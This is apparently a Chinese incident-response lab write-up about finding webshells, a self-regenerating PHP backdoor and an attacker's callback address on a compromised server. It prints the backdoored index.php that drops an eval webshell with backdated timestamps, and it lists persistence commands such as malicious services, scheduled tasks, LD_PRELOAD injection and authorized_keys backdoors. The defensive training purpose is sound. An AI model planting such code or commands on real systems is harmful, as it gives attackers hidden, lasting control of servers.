靶機排查目標:
1.web目錄存在木馬,請找到木馬的密碼提交
查看/var/www/html。
使用find命令查找
find ./ -type f -name "*.php | xargs grep "eval("
查看到1.php里面存在無條件一句話木馬。
2.服務器疑似存在不死馬,請找到不死馬的密碼提交
什么是不死馬?
一種通過修改系統配置、注入合法進程或利用漏洞實現自啟動和隱蔽運行的惡意程序,即使系統重啟或殺毒軟件掃描也難以清除。
- 特點:
- 持久化:通過注冊表、計劃任務、系統服務等方式實現自啟動。
- 隱蔽性:偽裝成系統進程、注入合法程序或隱藏文件。
- 對抗檢測:可能禁用安全軟件、清除日志或動態更換進程名。
windows下常見的隱藏位置
注冊表鍵
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
啟動文件夾:
C:\Users\<用戶名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
系統服務
通過sc.exe
或服務管理器(services.msc)創建惡意服務:
sc create "假服務名" binPath="惡意程序路徑" start=auto
計劃任務
使用schtasks
創建定時任務:
schtasks /create /tn "偽裝任務" /tr "惡意程序路徑" /sc onstart /ru SYSTEM
進程注入:
- 注入到
explorer.exe
、svchost.exe
等合法進程內存中,通過工具如Process Hollowing
實現。
文件隱藏
- 隱藏文件:通過
attrib +h +s
隱藏文件。 - 系統目錄
C:\Windows\System32
C:\Windows\Temp
C:\Users\<用戶名>\AppData\Local\Temp
linux下常見隱藏位置
1) 自啟動腳本
- rc.local(需執行權限):
/etc/rc.local
cron計劃任務:
/etc/crontab
/var/spool/cron/<用戶名>
/etc/cron.d/
systemd服務:
/etc/systemd/system/惡意服務.service
~/.config/systemd/user/
(2) 動態鏈接庫注入
- 修改
LD_PRELOAD
環境變量,劫持合法程序:
echo 'export LD_PRELOAD=/lib/惡意庫.so' >> ~/.bashrc
(3) 隱藏進程/文件
- 隱藏進程:通過
libprocesshider
等工具隱藏進程。 - 隱藏文件:
/tmp/.惡意文件(以點開頭)
/dev/shm/(內存文件系統)
/usr/lib/.hidden/
(4) SSH后門
- 修改
authorized_keys
或sshd
配置文件:
~/.ssh/authorized_keys # 添加攻擊者公鑰
/usr/lib/ssh/ssh-xxx(替換ssh二進制文件)
防護手段
windows
工具:
Autoruns
(檢查自啟動項)Process Explorer
(分析進程樹)PowerShell
命令:
Get-WmiObject Win32_StartupCommand | Select-Object Name, Command, Location
- 日志:
檢查事件查看器(eventvwr.msc
)中的異常登錄或服務啟動記錄。
linux的
- 工具:
- systemctl list-unit-files --type=service # 列出所有服務及其狀態
crontab -l
(檢查計劃任務)lsmod
(查看內核模塊)
lsof -i # 查看異常網絡連接
find / -type f -perm /4000 # 查找SUID可疑文件
root@ip-10-0-10-4:/var/www/html# cat index.php
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>
file_put_contents
是 PHP 中用于將數據寫入文件的函數,功能類似于依次調用 fopen()
、fwrite()
和 fclose()
的組合,但更簡潔高效
從這里可以看出來這里在創建木馬文件,把木馬文件放到.shell.php中并修改時間戳,掩蓋修改。
這里不死馬的密碼就是那串md5值
3.不死馬是通過哪個文件生成的,請提交文件名
從第二步中可以看出是由index.php生成的
4.黑客留下了木馬文件,請找出黑客的服務器ip和端口提交
剛才查看網站根目錄的時候發現了一個可疑文件。
運行。
發現沒有權限。
使用命令
chmod +x ./'shell(1).elf'
+x是賦予這個文件執行的權限
執行之后使用netstat來查看我們的網絡連接和監聽端口情況。
netstat
命令
netstat
是一個網絡工具,用于顯示網絡連接、路由表、接口統計信息、偽裝連接和多播成員信息。
選項和參數
-a
:顯示所有連接中的端口,包括監聽和非監聽。-n
:以數字形式顯示地址和端口號,而不是將其解析為主機名或服務名。-t
:顯示 TCP 連接。-l
:顯示監聽狀態的套接字。-p
:顯示使用每個套接字的程序。
另外開一個窗口執行netstat命令查看連接情況。
用lsof也是可以的
lsof -i
發現了黑客的ip地址和端口情況。